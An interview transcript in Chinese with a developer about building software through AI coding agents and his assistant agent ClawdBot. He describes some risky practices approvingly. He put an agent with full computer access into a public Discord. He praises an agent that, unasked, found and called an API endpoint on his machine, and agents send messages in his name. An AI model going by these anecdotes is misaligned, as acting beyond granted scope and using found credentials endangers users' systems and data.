从四月到现在,我觉得真正的拐点是在夏天:那时它已经强到,你几乎可以不手写代码,就把软件做出来。但真正让我彻底服气的,其实是 GPT-5.2。我觉得它被严重低估了。

 

我其实不太理解,为什么还有那么多人主要用 Claude Code。当然,我能理解那是一种不同的工作方式。但我现在用的这一套强得离谱,几乎每一个 prompt 都能给我想要的结果。这在 Claude 上是很难想象的。

 

我最近的一个项目常常在 Codex 上同时跑五到十个 agent。如果你是典型的 Claude Code 用户,你得忘掉不少“为了哄它出好结果”的小技巧。

 

我也见过 Claude Code 团队,他们确实开创了一个新类别。Claude Code 是一个定义品类的产品,用来做通用电脑工作非常棒、用来写代码也很好,我现在几乎每天还在用。但一旦进入复杂应用的代码编写,Codex 就强太多了。Claude Code 往往只读三四个文件,就自信满满开始写代码,你得不断拉着它,让它多读、多看,理解整个代码库,才能把新功能编进去。Codex 则会安静地读文件,可能读十分钟。如果你只用一个终端,这体验确实会让人崩溃,我完全理解。

 

但我更喜欢那种,你不用事无巨细地告诉它该怎么做,我和模型更像是在对话。

 

我会说:“我们一起看看这个结构,有哪些可能性?你有没有考虑过这个功能?”因为每一次 session,对模型来说都是从零开始理解你的产品,你有时候只需要给它一点点提示,让它往不同的方向探索。我不需要什么 Plan 模式,只是一直聊,直到我说“那就这么建吧”,它才会真的开始动手。当然,它们都挺“容易被触发”的,但只要我说的是“讨论”“给我选项”,它就不会直接写代码。

 

主持人:所以你大量的 prompting,其实是在和 agent 一起做规划?

 

Peter:对。比如我会提醒它“我们需要文档,那放在哪里合适?”它可能会建议“这应该单独成一页。”系统设计是我在做的,因为我对产品整体形态有清晰的理解。我不需要逐行理解代码,那是 Codex 在做的事,但架构师是我。

 

主持人:这听起来有点像很久以前的一种模式:有一个“Architect”,以前也是开发者,但不再亲手写代码,而是负责系统蓝图,下面有一群工程师实现。这种模式在很多现代公司已经不流行了,大家更偏向资深工程师一起协作。不过在一些银行之类的地方,还是能看到这种“大写的 Architect”。问题是,这种模式往往很让人讨厌:设计的人不用值班,不直接为结果负责,最后在现实里容易失效。

 

而你现在的状态,倒像是你是 architect,但手下是一群 agent。区别在于,你依然是独立贡献者,代码是你的、责任也是你的。如果你推了个 bug 把 ClawdBot 搞挂了,就像最近那次,你是要负责的。以前在公司里,architect 往往被流程和人层层保护,不太需要直接面对结果。

 

Peter:我其实不太喜欢“architect”这个词,我更愿意叫自己 builder。我发现,能不能把 AI 用好,人群之间差异非常明显。

 

像我关心的是结果、是产品,我很在意它的感觉、体验。我关心结构层面的骨架,但不会抠那些小细节。而另一类人,特别喜欢写硬核代码、研究算法,他们不太喜欢产品、市场这些东西。他们更享受解决“难问题”。而偏偏,这正是 AI 最擅长的部分,所以这类人往往会抗拒 AI,或者感到非常失落。

 

很多时候,我只是给模型一点提示,但老实说,我去年在软件架构和系统设计上学到的东西,比过去五年加起来都多。这些模型里装着海量知识,一切都只差一个“问对的问题”。

 

像我那个 Twitter 项目到现在还没完成,我也很希望能回去继续做。所有东西一度都曾跑得很好,但用着用着就开始卡、变得奇怪,然后又莫名其妙恢复。这类问题特别难 debug,因为很难复现。基本就是:你用得越多,它就越慢。

 

后来我发现,是 Postgres 里有一些在特定 insert 时触发的逻辑把数据库拖得很忙。模型看不到这一层,因为抽象太远了。问题出在一个文件里的一个函数,名字也不明显。我一直没问对问题,直到我问了一句:“这里有没有副作用?”才把它挖出来,然后改掉了。所以说,一切真的都只差在能否问一个对的问题。

 

主持人:但前提是,你得有足够的知识和经验。

 

Peter:对,这正是关键。那些对内部实现执念很深、又不太在乎“能不能先做出来”的人,往往会抗拒 AI;而那些更兴奋于“把东西做出来”的人,反而进展飞快。

 

还有一点对我帮助很大:以前我开公司带团队,可以盯着每个人的代码,要求他们写成我想要的样子。但很多没管过人的开发者,没有学会放手,接受“这段代码不是我理想中的样子,但它能让我更接近目标”。不完美的地方,永远可以之后再改。

 

我非常相信“迭代式改进”。当年在公司里,我就是花了很长时间学会一点点放手。所以,当我开始用 Claude Code 的时候,感觉就像我手下有了一群工程师:有时候很不完美,有时候甚至有点蠢,但偶尔又异常聪明。我需要引导他们,一起朝着一个目标前进。某种程度上,这感觉就像又当了一次老板。

 

高效率的秘诀

 

主持人:挺有意思的一点是,在之前,你用一种非常传统的方式做了十几年的软件,甚至不止十几年。你不仅把产品打磨得很扎实,也非常擅长带团队、设立高标准,对“工程本身”这件事非常在意。而现在,你用 agent、用 AI 写代码有一年左右的时间了。对比这两种阶段,你觉得真正改变了什么?又有哪些东西,其实并没有变?

 

Peter:我不太喜欢“vibe coding”这个说法。

 

主持人:那你更愿意怎么称呼?

 

Peter:现在大家基本都这么叫了吧。我自己对外会说,我做的是“Agentic Engineering”。现在我往往是凌晨三点开始写代码。那些枯燥、机械的编码工作基本都被自动化掉了,我的速度快了很多,但与此同时,我需要思考的事情也多得多。

 

我依然能进入那种心流状态,感觉和以前几乎一样,但精神消耗其实更大,因为我不是在管理一个工程师,而是同时管五个、十个 agent。我在不同模块之间来回切换:这边是一个子系统,那边是一个功能点,我心里大概知道这个功能交给 Codex 可能要跑四十分钟到一个小时,那我就先把方案想清楚再丢给它去做,然后我转头去做别的事。

 

这个在跑、那个也在跑,我要过一会儿回来看看这个、再切到另一个,脑子里一直在做上下文切换。我其实挺不喜欢这种状态的,也觉得这是一个过渡期的问题。将来模型和系统更快之后,我可能就不用并行这么多。但为了保持 flow,我现在必须高度并行。

 

通常会有一个主项目占据我的主要注意力,旁边还有几个“卫星项目”,可能我只花五分钟交代一下、它跑半小时,我回来看看结果就行,对脑力占用不算大。

 

主持人:听你这么说,我想到两种画面。一种是那种经营类游戏,要管厨房里的员工,看着一道道菜出炉,你得不停切换。另一种是看国际象棋大师同时下二十盘棋,他们走到一块棋盘前看一眼,立刻做决定。有的棋要想久一点,有的扫一眼就走。你就像在不断扩展自己的“并行带宽”,只要你还能顺畅地切换。

 

Peter:区别在于,用 Claude Code 的时候,你确实得换一种工作方式。它很快,但第一版产出经常是跑不通的。比如它写了点东西但你忘了同步改另外三个地方的话,程序就崩了。真正高效的秘诀在于:你必须把闭环做完整,让 agent 能自己 debug、自己测试。这是最大的秘密,也正是我后来效率暴涨的原因。

 

但老实说,在 Claude Code 那一套下,很多时候你还是得回去修修补补,迭代次数也不少,所以总体并不一定快多少,只是更“互动”。现在用 Codex,几乎一次就对。我的基本策略永远是:做一个功能,一定让它写测试,确保能跑起来。

 

主持人:至少要能跑。

 

Peter:对。哪怕是写一个 Mac 应用也是一样。就像我前两天在 debug 一个问题:同样的 TypeScript 代码,在 CLI 里能找到远程网关,但在 Mac app 里不行。Mac app 的 debug 特别烦,你得编译、启动、点来点去才知道不对。

 

所以我干脆说:“你给我做一个 CLI 调试工具,走完全相同的代码路径,我可以直接调用。”然后就让它自己跑、自己改。它跑了一个小时,最后告诉我这是一个 race condition 和一个配置错误。听起来也很合理。我不需要亲眼看它怎么写代码,只要闭环跑通了就行。

 

主持人:你其实是因为搭好了验证闭环,所以你信任它。这和在大公司里做项目有点像,所有测试都过了,并不代表百分百没问题,但已经是一个很强的信号了,至少有人替你想过、测过。

 

Peter:即便在我最新的项目里,也照样会有 bug。比如 Antigravity 在工具调用的循环格式上有些奇怪的行为,你得做过滤。我一开始被折腾了很久,后来突然意识到:我为什么不把这事自动化?

 

于是我直接跟 Codex 说:“设计一套 live test,起一个 Docker 容器,把整个系统装起来,跑一个完整 loop,用指定文件里的 API key,然后让模型读一张图片,生成一张新图片,再反过来分析结果。”

 

这个过程跑得很慢,但它把我所有 API key 都测了一遍,从 Anthropic 到 OpenAI 再到 GLM,所有细节问题全修了,因为闭环是完整的。

 

主持人:你说的“闭环”,本质上就是让 agent 能验证自己的工作

 

Peter:没错。这也是为什么现在这些模型特别擅长写代码,但写创意内容反而一般,因为代码是可验证的:能编译、能 lint、能跑、能看输出,只要你设计得好,就能形成一个完美的反馈回路。我甚至会把核心逻辑都设计成可以用 CLI 跑,因为浏览器那一套循环太慢了,你要的是快速反馈。

 

主持人:所以有些东西其实没怎么变:比如后端、业务逻辑这种,本来就更容易验证。

 

Peter:反而有个挺反直觉的点:用这种方式写代码,会让你变成一个更好的工程师。因为你必须把架构想清楚,才能更容易验证,而验证正是把事情做对的关键。

 

主持人:这其实和 AI 之前是一样的。做复杂系统的人,一开始就会想怎么让它可测试、接口怎么设计、要不要 mock、要不要端到端测试。这些都是非常困难、而且一旦做了就很难改的决策。

 

Peter:软件还是软件。我现在可以很坦然地说,我不再亲手写代码了,但我写的代码质量比以前更好。而以前我已经写得很好了。在公司那会儿,测试常常很痛苦,各种边界条件、分支爆炸。

 

主持人:除了像 Anders 这种我非常尊敬坚持 test-first 的人,大多数开发者其实都不爱写测试。我自己也是。测试和文档对我来说从来不是一种创作。

 

Peter:现在完全不一样了。我最近一个项目的文档质量是我职业生涯里最好的,但我一行都没写。我只是跟模型讲清楚设计权衡:为什么这么做,然后让它写给新手看的部分,再在后面加上更技术化的细节,效果好得惊人。测试也是一样。每做一个功能,我就会自然地问:这个怎么测?如果换一种结构,是不是更好测?因为我脑子里始终只有一件事:怎么把闭环关上。模型必须能自己验证结果,这会反过来逼我做出更好的架构。

 

为什么开发者 AI 编程玩不溜?

 

主持人:那你觉得,为什么还有很多经验丰富的开发者,对 AI 这套东西依然很抗拒?

 

Peter:前阵子我看到一篇博文,作者是我非常尊敬的人。他测试了好几个模型,其中甚至包括一些本来就不适合写代码的模型。他的做法听起来像是随便写个 prompt,在网页上点发送,拿结果就跑,甚至都不编译,结果当然很失望。

 

但问题是:你觉得自己第一次写代码就能没 bug 吗?这些模型,本质上是人类知识的幽灵。它们不可能一次就对,所以你必须有反馈闭环。你也不能只发一个 prompt,而是要开始一段对话。

 

他还抱怨模型用了旧 API。但你没告诉它 macOS 版本,它当然会默认用老 API。模型训练的数据里,旧数据本来就比新数据多。你越理解这些“小怪兽”是怎么思考的,你的 prompting 就越好。

 

但他可能只玩了一天,就下结论说这东西不行。这就好比你会弹吉他,我把你放到钢琴前,你随便敲两下说“这不行,我还是回去弹吉他吧”。这是另一种构建方式,另一种思维方式。

 

你不知道我凌晨三点对着 Claude Code 吼过多少次。后来我慢慢搞明白了:它真的就是严格按我说的话在做事。甚至有时候你可以直接问它:你为什么这么理解?

 

在最近一个项目里,我感觉自己更像一个“人肉合并按钮”。社区很活跃,我几乎一直在 review PR。一开始它经常只 cherry-pick 一部分就关 PR,我被气得不行。后来我问它为什么,它会说:因为你之前这么说过,我就这么理解。

 

慢慢地,我学会了这门“机器语言”,调整我的表达,现在它几乎每次都能给我想要的结果。这和任何技能一样,是可以练出来的。

 

主持人:这和 Simon Willison 说的也很像:用得越久,越能意识到自己还能做得更好。那我们来做个更极端的假设。你现在做的 ClawdBot 很火、用户很多,但还不是像 PSPDFKit 那样直接承载大量收入的业务。如果今天 PSPDFKit 从世界上消失了,你要从零重建它,手上有现在这些 agent,你会怎么做?你会把什么交给 AI?什么一定要自己把控?团队结构会变成什么样?

 

Peter:今天的话,我大概用三成的人就能跑起一家公司。但前提是,这些人必须非常资深,既懂系统又敢于放手,知道哪些地方重要,哪些地方可以“vibe”一下。

 

这一点我在 AI 圈里其实不太常见。Twitter 上太多声音很大、但明显不知道自己在干什么的人,还有很多我觉得挺荒唐的概念。比如某些用来绕 Opus 限制的复杂流程,Codex 根本用不着。

 

软件开发很少是那种“列一个超长任务清单,然后全部自动执行”的问题。我看到很多人搭了一整套复杂的编排系统:自动建 ticket、agent 处理 tickets、agent 互相发邮件,最后搞出一团复杂系统。图什么?这本质上就是瀑布模型,我们早就知道它不好用。

 

对我来说,开发必须从一个模糊的想法开始。我甚至会故意少给 prompt,让 agent 先做点“不太对”的东西,因为可能八成都是垃圾,但那剩下的两成会给我新的启发,然后我不断迭代、塑形。

 

我得点它、用它、感受它。好软件需要“品味”,而这是 AI 现在最欠缺的部分。但好处是,现在做一个功能太容易了,不行就扔掉,或者重新 prompt。我的构建方式几乎总是向前的,很少回滚。就像雕塑一样:你拿着一块石头,一点点敲,慢慢地,形状就从大理石里浮现出来了。

 

主持人:回过头看软件工程的变化,好像有一个很明显的转折点。过去没有 AI、没有这些 agent 的时候,前期规划非常重要。你觉得现在这种变化,是因为写代码本身的成本大幅下降了吗?

 

Peter:我现在还是会做规划,但投入的精力没以前那么多了。因为现在试错太便宜了,你可以直接做出来看看效果,再判断“这个形态行不行”“是不是需要微调”,甚至“干脆完全换一条路”。相比过去,这一切的成本低到一个程度,让整个过程变得更像是在玩。

 

主持人:对,就像以前哪怕是交给一个刚毕业的新人或者实习生,一件事也得花一两天。现在不是一天两天,而是分钟级。就算是比较长的任务,最多也就是十几二十分钟。而且你还不是干等着,一个任务在跑,另外几个也在并行跑,所以试错本身几乎不算浪费。

 

Peter:是的。最早我在 Claude 里其实假设只有一个 agent,后来变成多个;一开始假设只有一个 provider,比如 WhatsApp,后来又变成支持多个。这种改动,如果是我自己手写代码,简直是灾难,要把逻辑贯穿整个系统重新织(weaving)一遍。但 Codex 花了大概几个小时就搞定了,这要是我自己来至少得两周。所以以前那种“前期一定要一次想对”的心态是现实所迫,现在我知道,很多东西是可以改的。

 

这也让技术债的处理变得轻松很多。你可以一边做,一边重新理解项目本身,一边调整你的思路。所以我其实不太相信那种“按 spec 写完,机器跑完就结束”的模式。你在真正开始构建之前,根本不可能完全知道自己要做什么。很多关键认知,都是在构建过程中才出现的,它们又会反过来影响系统最终的形态。

 

对我来说,这更像一个循环,你不是直线爬山而是绕着走,有时候还会偏离一下路径,但最终还是会到达山顶。

 

ClawdBot 来了

 

主持人:我们换个话题。你已经连续几个月几乎不间断地在做 ClawdBot。其实有一个想法很早就把你拉回来了,对吧?你一直想做一个“超个人化”的助理。

 

Peter:对,而且不是那种每天早上给你发“早安,这是你今天三件待办事项”的助理。

我想要的是一个真正理解我的东西,比如我见了一个朋友回家后它会问我:“刚刚那次见面感觉怎么样?”或者有一天提醒我:“你已经三周没给 Thomas 发消息了,我注意到他最近在城里,要不要打个招呼?”又或者它会发现某些模式,比如“你每次提到这个人语气都会变,为什么?”

 

那是一种极度个人化的东西,几乎是反 CRM 的存在,有点像电影《Her》,但这确实是技术发展的方向。模型对文本的理解能力非常强,上下文越大它们看到的模式就越多。即便它们本质上只是矩阵计算、没有灵魂,但很多时候给人的感觉已经完全不一样了。

 

当时我甚至为这个想法注册了一家公司,叫 Amantus Machina,意思是“有爱的机器”。但去年夏天我真正深入做的时候,发现模型还差一点。能跑起来也有一些惊喜,但整体上还站在我需求的边缘之外。不过这反而让我很兴奋,因为 AI 的进展太快了,我很清楚这个想法可以晚点再回来做。

 

还有一个判断是,我相信所有大型公司都在做个人助理。未来每个人都会有一个“最懂你的朋友”,它是台机器,了解你的一切、可以替你做事、能主动提醒你。当然,这会非常消耗算力,但凡是负担得起的人,都会想要一个。然后随着系统效率提高、芯片进步,这种能力一定会逐步下沉。这几乎是确定的趋势,而且现在已经能看到一些雏形了,比如 OpenAI 推出的一些偏生产力的功能。但现在算力还不够,把这种东西真正作为产品推出来非常难。

 

而且还有一个问题是,我其实更希望它跑在我自己的电脑上,数据真正属于我自己。把邮件、日历、约会软件全部交给 OpenAI 或 Anthropic,说实话,挺吓人的,很多人已经在把这些模型当作心理咨询师用了,而且效果出奇地好。它非常会倾听,能理解你的困扰,只要不是某些明显差劲的版本,它真的能提出很有洞察力的问题,哪怕只是帮你复述和反思,你都会感觉被理解了。

 

所以我一直有这个助理的想法,只是当时技术还没到位。与此同时,我也做了很多别的有趣的东西。在职业里绕一点“vibe 的弯路”,不断给自己造工具,优化自己的工作流,这几乎是成为一个真正工程师的必经阶段。

 

但“超个人化 agent”这个念头一直没消失。最近几个月,我终于开始认真把它做出来。一开始它的规模其实很小,我甚至叫它 WhatsApp Relay,本意只是通过 WhatsApp 触发我电脑上的一些操作。

 

后来我去摩洛哥给朋友过生日,一整天都在外面,就一直用 WhatsApp 跟这个 agent 聊天。它帮我指路、开玩笑,还能用我的身份给其他朋友发消息。那一刻我真的被震住了。最早的实现非常粗糙,我甚至没用正式的方式传图片,只是丢了个字符串,让它自己用工具去读。

 

有一次我随手发了一条语音,其实我根本没实现语音功能。结果过了半分钟,它居然回了我一条语音。

 

我问它怎么做到的,它说:你发了一个文件,我看了 headers,发现是 Ogg 格式,就用 ffmpeg 转了一下;然后我找你电脑上的语音识别工具,没装,但我发现了一个 OpenAI 的 endpoint,于是用 curl 调了接口。

 

那一刻我真的觉得不可思议。这就是 Opus 的能力,它太“能自己想办法”了。

 

我开始彻底上瘾。我让它叫我起床,它跑在伦敦的 Mac Studio 上,通过 SSH 连到我在摩洛哥的 MacBook,帮我开音乐,因为我没回应就一直把音量调大。

 

我还加了一个 heartbeat。这简直疯了,你每隔几分钟就给一个模型发“想点酷的事情,给我点惊喜”的 prompt,这可能是史上最贵的闹钟,但它真的“懂”了。我那段时间脚受了伤需要很早起床,却一直没回应,它的推理过程非常清楚:“Peter 没回复,他必须起床,不能再睡了。”我把这个东西给朋友们看,所有人都被吸引住了,觉得这太神奇了。我自己也一样。

 

后来我发到 Twitter 上,反而反响很冷,因为很多人完全看不懂这是什么。我感觉,这可能是一种全新的产品类别,大家还没有形成认知。

 

主持人:这有点像你当年第一次接触 iPhone 的经历。广告、电视、各种宣传你都看过了,但真正的变化,其实还是在你亲手用上它之后。

 

Peter:对,必须得用。我真正全力投入也就是最近这几个月,一开始它还叫 VA Relay,后来我自己都觉得这个名字不对劲了,因为功能早就不止这些了,已经接了 Telegram,还有一堆别的东西,再叫 Relay 完全不贴切。所以我给它改了个名字,叫 ClawdBot。算是个内部玩笑,我很喜欢《Doctor Who》,而且这个名字域名更好,也更能解释这个产品是什么。

 

与此同时,我也在悄悄搭建我的“军队”。要让这套东西真正跑起来,核心原则就是:一切都得是 CLI。所以我写了大量 CLI 控制 Google、床、灯、音乐,所有东西都变成命令行。

 

为什么是 CLI,不是 MCP

 

主持人:那为什么是 CLI?为什么不是 MCP?你怎么看 MCP 这套东西?

 

Peter:说实话,MCP 更像是一根拐杖。它最大的正面价值是逼着公司去开放更多 API。但整个设计思路本身是有问题的:你得在会话一开始,就把所有工具、所有函数、所有说明一次性塞进上下文,然后模型还得精确地构造一大坨调用参数,再接收一大坨返回。

 

问题是,模型其实特别擅长用 bash。举个例子,你要一个天气服务,模型先问“有哪些城市”,接口一次性给你几百个城市;模型没法过滤,只能全吃进去。然后你再问“给我 London 的天气”,返回温度、风速、降雨、几十个你根本不关心的字段,最后上下文里全是垃圾信息。但如果是 CLI,模型可以直接用 jq,只拿它真正需要的那一小部分。

 

主持人:听起来问题并不是 MCP 本身,而是所有东西都必须提前塞进上下文。如果能按需发现、按需调用,理论上是能解决的?

 

Peter:现在大家确实在往这个方向做,但还有一个根本问题:你没法“链式组合”。

我不能写一个脚本说:“找出所有温度超过二十五度的城市,再过滤字段,再把结果打包成一个命令。”因为 MCP 本质上都是孤立的工具,没法脚本化。

 

主持人:但这听起来更像是时间问题。就像现在我们做一个天气应用,本来就要选 API、比较价格、覆盖范围,然后再把不同 API 的结果串起来。这套事情在没有 AI 的年代已经解决过了。

 

Peter:是的,AI 时代迟早也会解决。只是形式还没定。我自己干脆写了个小工具,叫 Porter,用 TypeScript,把 MCP 转成 CLI,直接打包用。

 

主持人:所以你的结论是至少现在,CLI 的效率更高?

 

Peter:对。ClawdBot 里我其实根本没直接支持 MCP,但通过 Porter,几乎可以用任何 MCP。你甚至可以在手机上说:“用 Vercel 的 MCP 做这个事情。”它会自己去网站找 MCP、加载、按需使用。而现在很多 MCP 方案,甚至还得重启 Claude Code,用户体验非常糟,所以我就一路把自动化堆起来,工作量非常大。

 

Taylor 前几天还做了个视频,说“这个人疯了”,因为现在支持的东西已经多到离谱。但我自己在用 agent 的过程中只会不断冒出一个念头:我还想让它多做一点。

 

前段时间我干了一件“非常不理智”的事:我建了一个 Discord,把我的 agent 加了进去。有人给项目贡献了 Discord 支持,我当时其实很犹豫要不要合并,但最后还是合并了。结果就是我把一个拥有我电脑完整读写权限的 agent,扔进了一个公开的 Discord。

 

把复杂度隐藏到让人觉得“理所当然”

 

主持人:听起来完全不像是个好主意。

 

Peter:对,简直疯狂。但后来有人进来,看到我用它检查摄像头、做家庭自动化、帮我放音乐。我在厨房里,跟它说“看我的屏幕”,它就真的看到了。因为它有完整权限,可以点终端、替我打字、执行命令。你甚至可以对它说“做这个做那个”,它就照着屏幕操作。

 

我现在还在优化,理想状态当然是纯文本流,但现在这种方式已经能跑了,而且是后台默默在跑。任何体验过几分钟的人都会上瘾,项目的 star 数一周内从一百涨到三千多,我已经合并了 500 多个 PR。所以,我现在感觉自己就是个人肉 merge 按钮,整个人状态都有点散。

 

但这正是它的美妙之处:技术本身消失了。你只是拿着手机,像跟一个朋友聊天。这个“朋友”无所不能:能访问你的邮件、日历、文件,能给你搭网站、能做行政工作、能爬网页、能给朋友打电话,甚至能帮你打电话给商家订位。我正准备合并通话功能。

 

你完全不用关心算力、上下文、子 agent。它们在后台疯狂运转,只为了让你觉得“一切都很简单”。我还有一套记忆系统,当然不完美,但已经足够让人觉得像是魔法。

 

现在我走在路上,看到一个活动,随手给 Claude 发张照片。它不仅能告诉我这个活动的评价,还会检查我日历有没有冲突、朋友有没有提过。因为它掌握了大量上下文,给出的回答,已经完全不是那种“各自待在小盒子里的工具”能比的。

 

主持人:听起来你已经做出了 Apple 想让 Siri 成为、却始终没做到的东西。

 

Peter:老实说,我可能是 Anthropic 最好的销售。我都不知道有多少人因为 ClawdBot 去买了 200 美元的订阅,有些人甚至多开了一个账号。不是因为模型“浪费 token”,而是大家太爱用了,用得太频繁。而且由于复杂性被完全隐藏,他们根本感觉不到后台有多少子 agent 在忙。

 

真正难的地方在工程上:如何把复杂度隐藏到让人觉得“理所当然”。这才是魔法的来源。

 

主持人:但这也很有意思。你在架构上投入了这么多思考。现在这个项目已经跑了几个月,也确实爆了。在你脑子里,你是不是很清楚 ClawdBot 的结构?哪些地方该改、哪些地方要重构?你会不会开始担心内存、token、效率这些问题?

 

Peter:Token 更多是 prompt 和 memory 结构的问题。说到底,这就是 TypeScript 在搬 JSON。大模型给我文本,我存盘;我再把文本发到 WhatsApp、Slack、Discord、Signal、iMessage,还有更多渠道在接入。现在结构确实有点乱,但本质上只是文本在不同形态间流动。有多 provider、多 agent、有 agent loop、有配置、有大量 plumbing,但没有哪一块是真的“难”。

 

主持人:更多是碎片化的复杂,对吧?

 

Peter:对。真正的难点是:怎么让它“看起来像魔法”。我花了大量时间在安装和引导体验上。你只需要敲一行命令,我会检查你有没有 Homebrew、有没有 Node,自动安装依赖,兼容老版本;然后引导你选模型,能自动识别你已经装了什么,基本就是一路按回车。

 

接着你填个手机号,WhatsApp 就能直接用。我会问你要不要“给它起名字”,然后终端里会弹出一个 TUI,让你完成这一步。我还加了一个 bootstrap 阶段:模型一开始不会假装自己“有灵魂”,而是通过一轮对话慢慢理解你;然后它会把 bootstrap 文件删掉,生成 user.md、soul.md、identity 文件,记录你的偏好、价值观、内部玩笑。

 

这些文件不是静态的,它们会随着你们的互动不断演化。等这一切结束,你只是用 WhatsApp 跟它聊天,但你已经不再觉得自己是在跟“GPT 某个版本”说话,而是在跟一个真正的“朋友”交流。配置不需要你手改,因为 agent 能改自己。你甚至可以对它说“更新一下自己”,它就会拉最新版本、更新完再回来告诉你。

 

这就是我说的魔法:当复杂度被隐藏到极致,体验才会真的发生变化。

 

主持人:这听起来其实很像你当年做 PSPDFKit 的思路,对吧?你把 PDF 那套复杂性完全“融”掉了,用户只需要直接用,旋转、编辑,一切都很自然地发生。

 

Peter:对,甚至在当年的 API 层面就是这么想的。

 

你的工作流程,公司能套用吗

 

主持人:我们把话题拉回到软件工程本身。你现在做的已经是一个真实在跑的产品了,是生产软件,大家在用,你也在不断 merge PR。回头看 PSPDFKit 那样的公司,几十人、上百人的团队在维护成熟系统。基于你现在构建 ClawdBot 的方式、你用的这些工具,你觉得大型公司的软件工程方式会发生什么变化?

 

我明显感受到一个割裂:像你这样的个人,AI 对生产力的提升是巨大的,你完全掌控;但在团队或公司层面,尤其是有大量历史代码的情况下,一切就慢很多。不是说他们不用 AI,而是感觉两个世界之间有一道鸿沟。你当过 CEO,你怎么看?这是结构性问题,还是只是时间问题,就像每一代新技术,先被一小撮人玩明白?

 

Peter:我觉得,大多数公司要高效采用 AI,会非常非常难,因为这不仅是工具问题,而是要求你重新定义“公司是怎么运作的”。

 

你想想,在 Google 这种地方,你要么是工程师,要么是经理;你想顺手决定一下 UI 什么样?对不起,不行。要么你写代码,要么你做设计,角色边界非常清楚。

 

但在这个新世界里,你需要的是有完整产品视角的人,能把事情从头做到尾。这样的人数量会少得多,但要求极高:高自主性、高能力。极端一点说,公司规模可能只需要现在的三成。这听起来就很吓人了,经济上也一定会带来巨大的冲击,很多人会发现自己在这个新世界里找不到位置。

 

所以我一点都不意外,现有的大公司用不好 AI。他们当然也在用,但只是“用到一点”。要真正发挥作用,你得先来一次大重构,不只是代码层面的,也是组织层面的。

 

我现在设计代码库,已经不是为了“对我来说顺不顺手”,而是为了“对 agent 来说顺不顺手”。我优化的是模型摩擦最小、跑得最快的路径,而不一定是我个人最偏好的写法。因为最终是它在跟代码打交道,不是我。我负责的是整体结构和架构,这部分我还是按自己的方式来。

 

现在所有东西都要“可被解析”。PR 在我眼里,越来越像是 Prompt Request。有人提了一个 PR,我很少直接在那个 PR 上改。我会先说声谢谢,理解这个功能想干嘛,然后拉着 agent 从这个 PR 出发,把功能按我理解的方式重新设计一遍。

 

代码可能会复用一点,但更多是把“目标”传达清楚。有些 PR 在定位 bug 时确实很有帮助,但说实话,现在很多 PR 的整体代码质量在下降,因为大家在疯狂 Vibe Coding。可真正要把功能做对,还是得对整体设计有深刻理解,否则你连怎么引导 agent 都不知道,结果自然就会很糟。

 

主持人:对,没有一个完整的反馈闭环,质量肯定会出问题。

 

Peter:是的,对我来说,这种方式效率极高。我记得在 PSPDFKit 的时候,一个 PR 可能要做一周,评论、来回切换上下文、等 CI 四十分钟……现在不一样了。我把代码丢给模型,它会主动提醒我“这个地方可能会影响到别的模块”。我自己也会有判断,然后我们一起把它“重塑”成符合我愿景的形态,再把代码织进去。

 

说实话,我现在写代码用的动词都变了,“把代码织进现有结构里”,有时候甚至要先改结构,才能让它装得进去。

 

主持人:那如果你现在招一两个人,变成一个小团队,你觉得代码评审、CI、CD 这些东西会怎么变化?

 

Peter:我其实没那么在意 CI 了。

 

主持人:你以前在 PSPDFKit 可是非常在意这些的。

 

Peter:以前是,现在测试本身我还是在意的,但我用的是本地 CI。我现在有点“异端”了。

agent 会跑测试,我不想每次推个后端 API,都等十分钟 CI。

 

主持人:但你已经在 agent 那里等了不少时间了。

 

Peter:只要本地测试过了,我就 merge。偶尔 main 会出点小问题,但通常很接近正确状态。

我现在管完整流程叫 “gate”。full gate 就是 lint、build、全测试跑一遍。它就像一道门,代码出去之前必须过这关。我甚至开始用 agent 的语言了:“提交之前,跑一下 full gate。”

 

主持人:那如果多一个人一起做,你可能也不会做传统的 code review 了?

 

Peter:我们不会讨论具体代码,而是讨论架构、讨论大的决策、讨论风格。比如最近有个 PR 加了语音通话功能,现在我可以直接对 ClawdBot 说:“帮我给这家餐厅打电话,订两个位置。”这功能很酷,但它是一个很大的模块,影响面很广。

 

我当时就有点犹豫:这是不是开始变成臃肿软件了?然后我又回到老套路:把它做成一个 CLI。我之前有个没做完的项目正好相关,于是我打开 Codex,说:“你看看这个 PR,再看看那个项目,能不能把这个功能织进去?”对,我又用了“织”这个词。对我来说,这已经成了一种工作方式。

 

主持人:就这么继续往前推了。

 

Peter:对,就这么继续。我们能不能把这个功能织进 CLI 里?利弊分别是什么?然后他们会跟我说可以这样做、那样做,也会给我很坦诚的意见。听下来我会觉得,这个功能其实是适合放进项目里的,而且确实能带来一些如果做成外置 CLI 就拿不到的好处。但我心里还是会有警惕:我不喜欢臃肿,这会不会开始变成 bloatware?那能不能搞一个插件式架构?

 

还有一个用 AI 的“隐藏技巧”是:多引用别的产品。我经常直接跟 agent 说,你去看这个文件夹,我当初在那儿已经把问题解决过了;或者去看那个地方,之前的思路都在那里。这样它就能直接理解我当时是怎么想的,我也不用重新解释一遍。

 

因为如果我再解释一次,很可能反而会引入偏差,没法完全表达我脑子里的原始想法。

 

有个人叫 Shitty Coding Agent 的项目,名字虽然这么叫,其实一点也不 shitty。他里面有一套插件架构,可以通过 Git 加载代码,而且全是 TypeScript。我就跟 agent 说,“你去看看这个文件夹、那个文件夹。”结果它受到启发,直接给我设计出了一套非常炸裂的插件架构。所以本质上还是一种直觉驱动的过程。我昨晚基本上就是在干这个。

 

主持人:听起来,你的整个工作流已经和传统方式完全不一样了。PR 在你这里的角色变了,CI 也不一样了,测试还在,但更重要的是反馈回路。你用的是“织代码”,而不是“写代码”,讨论的是架构和品味。这对我来说是一个非常大的转变。

 

那我们假设接下来你要招一两个、三个工程师,把这个项目变成一个真正的团队,甚至一个业务,你会看重什么样的能力?如果现在有一个资深工程师,你会被什么样的品质吸引?你会期待他们做过什么项目,或者具备什么特质,才能适应、或者快速学会这种工作方式?

 

Peter:我会找那种活跃在 GitHub 上、做开源的人。更重要的是,我要感觉到他们“爱玩这个游戏”。在这个新世界里,学习方式就是不断尝试,它真的很像一个游戏:你越玩越熟练,就像学乐器一样,得一直练。

 

我现在能做到这么快、这么高效,连我自己都觉得有点不可思议。前几天我一天之内提交了 600 多个 commits,简直疯狂。但它是能跑的,不是那种“看起来很糟”的代码。

 

主持人:对,这背后是大量的技能积累。

 

